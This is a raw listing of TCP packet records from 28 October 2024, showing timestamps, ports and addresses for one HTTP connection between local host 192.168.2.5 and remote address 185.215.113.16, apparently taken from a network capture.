Oct 28, 2024 08:18:20.739881992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739888906 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739923000 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739945889 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.739957094 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.739989996 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740012884 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740029097 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740061045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740087032 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740093946 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740128994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740134954 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740163088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740195036 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740220070 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740227938 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740262032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740288973 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740295887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740329981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740356922 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740364075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740396976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740422010 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740430117 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740463018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740489960 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740495920 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740530014 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740555048 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740562916 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740597010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740633011 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740665913 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740684986 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740700960 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740734100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740767002 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740792990 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740799904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740834951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740863085 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740869045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740904093 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740931034 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.740937948 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.740971088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741000891 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741004944 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741039038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741066933 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741072893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741111994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741144896 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741146088 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741178989 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741206884 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741213083 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741246939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741276979 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741280079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741311073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741326094 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741337061 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741339922 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741354942 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741368055 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741370916 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741377115 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741391897 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741408110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741420031 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741422892 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741437912 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741452932 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741453886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741468906 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741486073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741492033 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741502047 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741507053 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741517067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741533041 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741540909 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741545916 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741561890 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741564989 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741575003 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741586924 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741597891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741611004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741617918 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741621971 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741633892 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741637945 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741646051 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741652966 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741657019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741669893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741677046 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741682053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741689920 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741693020 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741704941 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741715908 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741723061 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741729021 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741735935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741745949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741750002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741759062 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741770983 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741779089 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741780043 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741782904 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741797924 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.741817951 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.741951942 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.759910107 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.761008978 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.765549898 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.765645981 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.765659094 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766763926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766808033 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766819954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766850948 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.766896009 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766908884 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766920090 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766923904 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.766946077 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.766983032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.766994953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767007113 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767019987 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767033100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767045975 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767049074 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767082930 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767082930 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767134905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767153978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767165899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767177105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767189026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767200947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767211914 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767219067 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767224073 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767235041 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767241001 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767246962 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767266989 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767271996 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767285109 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767287016 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767297029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767308950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767322063 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767330885 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767340899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767354012 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767366886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767374992 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767379045 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767390966 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767404079 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767416954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767424107 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767430067 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767438889 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767441988 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767460108 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767462015 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767472982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767478943 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767484903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767498016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767503977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767510891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767524004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767535925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767541885 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767549038 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767560959 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767568111 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767571926 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767582893 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767591000 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767607927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767618895 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767625093 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767632008 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767638922 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767643929 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767663956 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767673969 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767679930 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767687082 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767699957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767708063 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767776966 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767788887 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767796040 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767801046 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767812967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767832994 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767837048 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767844915 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767858982 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767863989 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767870903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767878056 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767883062 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767903090 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767915010 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767925978 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767931938 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767937899 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767950058 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767963886 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767971039 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.767976999 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767990112 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.767996073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768002033 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768011093 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768013954 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768026114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768038034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768044949 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768057108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768058062 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768069029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768080950 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768095016 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768100977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768107891 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768121004 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768127918 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768134117 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768141031 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768146992 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768160105 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768167019 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768172026 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768183947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768198967 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768203974 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768217087 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768228054 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768234968 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768245935 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768256903 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768261909 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768268108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768285990 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768296957 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768309116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768309116 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768310070 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768321037 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768332958 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768342018 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768343925 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768356085 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768368006 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768368959 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768379927 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768387079 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768390894 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768403053 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768424034 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768424034 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768440962 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768443108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768454075 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768460035 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768465042 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768476009 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768490076 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768495083 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768502951 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768515110 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768522024 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768526077 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768537998 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768548965 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768549919 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768563032 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768574953 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768582106 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768593073 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768594980 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768605947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768610954 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768623114 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768635988 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768646002 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768649101 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768661976 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768680096 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768681049 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768691063 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768697977 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768702984 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768714905 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768722057 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768727064 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768738985 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768745899 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768752098 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768764019 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768776894 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768780947 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768793106 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768799067 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768806934 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768824100 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768835068 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768841028 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768852949 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768865108 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768877029 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768883944 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768887997 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768899918 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768908024 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768913031 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768924952 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768939018 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768945932 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768950939 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768963099 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768970013 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768981934 CET	80	49764	185.215.113.16	192.168.2.5
Oct 28, 2024 08:18:20.768982887 CET	49764	80	192.168.2.5	185.215.113.16
Oct 28, 2024 08:18:20.768995047 CET	80	49764	185.215.113.16	192.168.2.5
